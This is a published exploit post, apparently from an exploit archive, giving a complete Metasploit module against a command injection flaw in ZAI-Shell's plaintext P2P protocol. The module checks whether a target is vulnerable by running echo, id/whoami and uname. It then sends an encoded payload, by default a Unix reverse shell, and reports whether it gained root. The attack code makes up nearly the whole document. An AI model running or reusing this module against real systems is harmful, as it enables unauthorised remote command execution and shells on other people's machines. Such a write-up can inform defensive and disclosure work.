============================================================================================================================================= | # Title : ZAI-Shell P2P Command Injection Metasploit Module | | # Author : indoushka | | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.3 (64 bits) | | # Vendor : https://github.com/TaklaXBR/zai-shell | ============================================================================================================================================= [+] Summary : This Metasploit module targets a command injection vulnerability in ZAI-Shell when running in no_ai_mode. The exploit communicates over a plaintext P2P protocol (default port 5757) and sends crafted JSON messages to execute arbitrary system commands on the target. The module includes an enhanced AutoCheck mechanism that performs multiple verification steps (echo, id/whoami, and uname) to reliably determine vulnerability status before exploitation. It classifies the target as Vulnerable, Appears, or Safe based on execution indicators. [+] POC : ## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'json' class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::Tcp prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super(update_info(info, 'Name' => 'ZAI-Shell P2P Command Injection', 'Description' => %q{ This module exploits a command injection vulnerability in ZAI-Shell when running in 'no_ai_mode'. It sends commands via the text-based P2P protocol and captures the results. Important Note: If the ZAI-Shell service is running with root privileges (common for daemons), the exploit will grant root access on the target system. }, 'Author' => [ 'indoushka' ], 'License' => MSF_LICENSE, 'References' => [ [ 'URL', 'https://example.com/zai-shell-vuln' ], ], 'DisclosureDate' => '2024-01-15', 'Platform' => ['unix', 'linux'], 'Arch' => [ARCH_CMD], 'Privileged' => false, # Exploit doesn't require prior privileges, but impact may be root 'Targets' => [ [ 'Unix Command', { 'Arch' => ARCH_CMD, 'Platform' => ['unix', 'linux'] }] ], 'DefaultTarget' => 0, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse', 'SSL' => false }, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [IOC_IN_LOGS] } )) register_options([ Opt::RPORT(5757), OptString.new('PEER_NAME', [false, 'Peer name', 'Metasploit']), OptInt.new('TIMEOUT', [true, 'Connection timeout in seconds', 10]), OptBool.new('WAIT_FOR_OUTPUT', [true, 'Wait for command output', true]), OptString.new('TEST_STRING', [true, 'Unique test string for vulnerability verification', Rex::Text.rand_text_alpha(8)]) ]) end def check test_string = datastore['TEST_STRING'] vuln_indicators = 0 begin connect hello_msg = { 'type' => 'hello', 'name' => 'Checker' }.to_json + "\n" sock.put(hello_msg) read_responses(3) cmd1 = "echo #{test_string}" responses1 = send_command_and_read(cmd1) cmd2 = "id 2>/dev/null || whoami 2>/dev/null || echo 'ID_FAIL'" responses2 = send_command_and_read(cmd2) cmd3 = "uname -a 2>/dev/null || echo 'UNAME_FAIL'" responses3 = send_command_and_read(cmd3) if responses1.any? { |r| r.include?(test_string) } print_good("First confirmation: echo executed successfully") vuln_indicators += 1 end if responses2.any? { |r| r =~ /uid=\d+/ } print_good("Second confirmation: id executed successfully") vuln_indicators += 1 elsif responses2.any? { |r| r =~ /^[a-zA-Z0-9_]+$/ && r.length < 20 } print_good("Second confirmation: whoami executed successfully") vuln_indicators += 1 end if responses3.any? { |r| r.length > 5 && !r.include?('UNAME_FAIL') } print_good("Third confirmation: uname executed successfully") vuln_indicators += 1 end if vuln_indicators >= 2 print_good("Target shows clear vulnerability (indicators: #{vuln_indicators})") return CheckCode::Vulnerable elsif vuln_indicators >= 1 print_warning("Target might be vulnerable (indicators: #{vuln_indicators})") return CheckCode::Appears else print_status("Target does not show any indicators of vulnerability") return CheckCode::Safe end rescue ::Rex::ConnectionError return CheckCode::Safe rescue ::Timeout::Error return CheckCode::Unknown ensure disconnect end end def exploit print_status("Starting exploit on target #{rhost}:#{rport}") connect send_hello send_payload Rex.sleep(2) if datastore['WAIT_FOR_OUTPUT'] handle_command_output end rescue ::Rex::ConnectionError => e fail_with(Failure::Unreachable, "Connection failed: #{e}") rescue ::Timeout::Error fail_with(Failure::TimeoutExpired, "Connection timeout expired") rescue => e print_error("Unexpected error: #{e.class} - #{e}") elog(e) ensure disconnect end private def send_command_and_read(command) cmd_msg = { 'type' => 'command', 'command' => command }.to_json + "\n" sock.put(cmd_msg) read_responses(datastore['TIMEOUT']) end def read_responses(timeout = nil) timeout ||= datastore['TIMEOUT'] responses = [] result = '' begin time_start = Time.now while Time.now - time_start < timeout if sock.has_read_data?(0.5) data = sock.get_once(4096) if data result << data lines = result.split("\n") result = lines.pop.to_s lines.each do |line| parsed = parse_json_line(line) responses << parsed if parsed end end else if !result.empty? && (Time.now - time_start > 1) parsed = parse_json_line(result) responses << parsed if parsed result = '' break end end Rex.sleep(0.1) end if !result.empty? parsed = parse_json_line(result) responses << parsed if parsed end rescue ::EOFError if !result.empty? parsed = parse_json_line(result) responses << parsed if parsed end end responses end def parse_json_line(line) line = line.strip return line if line.empty? begin parsed = JSON.parse(line) if parsed.is_a?(Hash) return parsed['output'] if parsed['output'] return parsed['result'] if parsed['result'] return parsed['data'] if parsed['data'] return parsed['message'] if parsed['message'] return parsed.to_s end rescue JSON::ParserError end line end def send_hello peer_name = datastore['PEER_NAME'] || 'Attacker' hello_msg = { 'type' => 'hello', 'name' => peer_name }.to_json + "\n" sock.put(hello_msg) # Read hello response hello_responses = read_responses(5) hello_responses.each do |resp| print_status("Peer response: #{resp[0..100].strip}") if resp && !resp.empty? end end def send_payload cmd = payload.encoded print_status("Sending payload: #{cmd[0..100]}#{cmd.length > 100 ? '...' : ''}") cmd_msg = { 'type' => 'command', 'command' => cmd }.to_json + "\n" sock.put(cmd_msg) end def handle_command_output print_status("Waiting for execution result...") output_responses = read_responses(datastore['TIMEOUT'] * 2) if output_responses.any? print_good("Execution result:") output_responses.each do |resp| next if resp.nil? || resp.empty? resp.to_s.each_line do |line| print_line(" #{line.chomp}") unless line.strip.empty? end end combined = output_responses.join(' ') if combined =~ /uid=(\d+)/ uid = $1.to_i print_good("Executed with User ID: #{uid}") if uid == 0 print_good("Executed with root privileges!") end end else print_warning("No output received from the command") end end end Greetings to :====================================================================== jericho * Larry W. Cashdollar * r00t * Hussin-X * Malvuln (John Page aka hyp3rlinx)| ====================================================================================